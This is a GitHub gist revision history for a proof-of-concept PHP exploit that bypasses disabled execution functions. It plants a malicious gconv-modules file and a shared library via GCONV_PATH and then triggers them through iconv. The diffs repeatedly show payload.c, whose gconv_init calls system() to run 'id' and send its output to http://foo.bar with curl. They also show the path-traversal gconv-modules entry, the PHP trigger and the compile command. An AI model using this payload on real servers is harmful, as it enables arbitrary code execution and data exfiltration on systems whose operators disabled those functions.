Last active
August 14, 2023 13:55
-
-
Save LoadLow/90b60bd5535d6c3927bb24d5f9955b80 to your computer and use it in GitHub Desktop.
Revisions
-
LoadLow revised this gist
Nov 4, 2019 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -6,7 +6,7 @@ It uses `iconv`, in php, in order to execute the same payload. Uses cases : - You control the first parameter of `iconv` (in_charset), you can set an env var and you can upload arbitrary files (`.so` library file and the `gconv-modules` file) and you know their path. - You have a php RCE but `system`, `shell_exec`, `curl_exec` and other functions are disabled but you can `setenv` (and `LD_PRELOAD` is blacklisted). In this example, the files `gconv-modules` and `payload.so` are stored in `/tmp`. -
LoadLow revised this gist
Nov 4, 2019 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -6,7 +6,7 @@ It uses `iconv`, in php, in order to execute the same payload. Uses cases : - You control the first parameter of `iconv` (in_charset), you can set an env var and you can upload arbitrary files (`.so` library file and the `gconv-modules` file) and you know their path. - You have a php RCE but `system`, `shell_exec`, `curl_exec` and other functions are disabled but you can `setenv` but `LD_PRELOAD` is blacklisted. In this example, the files `gconv-modules` and `payload.so` are stored in `/tmp`. -
LoadLow revised this gist
Nov 4, 2019 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -5,7 +5,7 @@ Credits: @hugeh0ge It uses `iconv`, in php, in order to execute the same payload. Uses cases : - You control the first parameter of `iconv` (in_charset), you can set an env var and you can upload arbitrary files (`.so` library file and the `gconv-modules` file) and you know their path. - You have a php RCE but `system`, `shell_exec`, `curl_exec` and other functions are disabled. In this example, the files `gconv-modules` and `payload.so` are stored in `/tmp`. -
LoadLow revised this gist
Nov 4, 2019 . No changes.There are no files selected for viewing
-
LoadLow revised this gist
Nov 4, 2019 . 1 changed file with 4 additions and 2 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -10,12 +10,14 @@ Uses cases : In this example, the files `gconv-modules` and `payload.so` are stored in `/tmp`. 1. Compile the payload library. ```bash gcc payload.c -o payload.so -shared -fPIC ``` 2. Upload / write the files `gconv-modules` and `payload.so` on the server. 3. Trigger the php code stored on the server ```bash curl https://mysuperserver.com/poc.php ``` -
LoadLow revised this gist
Nov 4, 2019 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -4,7 +4,7 @@ Credits: @hugeh0ge It uses `iconv`, in php, in order to execute the same payload. Uses cases : - You control the first parameter of `iconv` (in_charset) and you can upload arbitrary files (`.so` library file and the `gconv-modules` file) and you know their path. - You have a php RCE but `system`, `shell_exec`, `curl_exec` and other functions are disabled. -
LoadLow revised this gist
Nov 4, 2019 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -5,6 +5,6 @@ void gconv() {} void gconv_init() { puts("pwned"); system("id=`id`;curl http://foo.bar --data \"$id\""); exit(0); } -
LoadLow revised this gist
Nov 4, 2019 . 3 changed files with 5 additions and 3 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -8,6 +8,8 @@ Use cases : - You control the first parameter of `iconv` (in_charset) and you can upload arbitrary files (`.so` library file and the `gconv-modules` file) and you know their path. - You have a php RCE but `system`, `shell_exec`, `curl_exec` and other functions are disabled. In this example, the files `gconv-modules` and `payload.so` are stored in `/tmp`. Compile the payload library ```bash gcc payload.c -o payload.so -shared -fPIC This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,2 +1,2 @@ module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2 module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2 This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,2 +1,2 @@ putenv("GCONV_PATH=/tmp"); iconv("payload", "UTF-8", "whatever"); -
LoadLow revised this gist
Nov 4, 2019 . 1 changed file with 3 additions and 0 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -8,9 +8,12 @@ Use cases : - You control the first parameter of `iconv` (in_charset) and you can upload arbitrary files (`.so` library file and the `gconv-modules` file) and you know their path. - You have a php RCE but `system`, `shell_exec`, `curl_exec` and other functions are disabled. Compile the payload library ```bash gcc payload.c -o payload.so -shared -fPIC ``` Exec the php payload ```bash curl https://mysuperserver.com/poc.php ``` -
LoadLow revised this gist
Nov 4, 2019 . 4 changed files with 30 additions and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1 +1,16 @@ This is based on https://hugeh0ge.github.io/2019/11/04/Getting-Arbitrary-Code-Execution-from-fopen-s-2nd-Argument/ Credits: @hugeh0ge It uses `iconv`, in php, in order to execute the same payload. Use cases : - You control the first parameter of `iconv` (in_charset) and you can upload arbitrary files (`.so` library file and the `gconv-modules` file) and you know their path. - You have a php RCE but `system`, `shell_exec`, `curl_exec` and other functions are disabled. gcc payload.c -o payload.so -shared -fPIC ``` ```bash curl https://mysuperserver.com/poc.php ``` This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,2 @@ module PAYLOAD// INTERNAL ../../../../../../../../var/www/html/payload 2 module INTERNAL PAYLOAD// ../../../../../../../../var/www/html/payload 2 This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,10 @@ #include <stdio.h> #include <stdlib.h> void gconv() {} void gconv_init() { puts("pwned"); system("id=`id`;curl http://foo.bar --data=\"$id\""); exit(0); } This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,2 @@ putenv("GCONV_PATH=."); iconv("payload", "UTF-8", "whatever"); -
LoadLow created this gist
Nov 4, 2019 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1 @@ https://hugeh0ge.github.io/2019/11/04/Getting-Arbitrary-Code-Execution-from-fopen-s-2nd-Argument/This is based on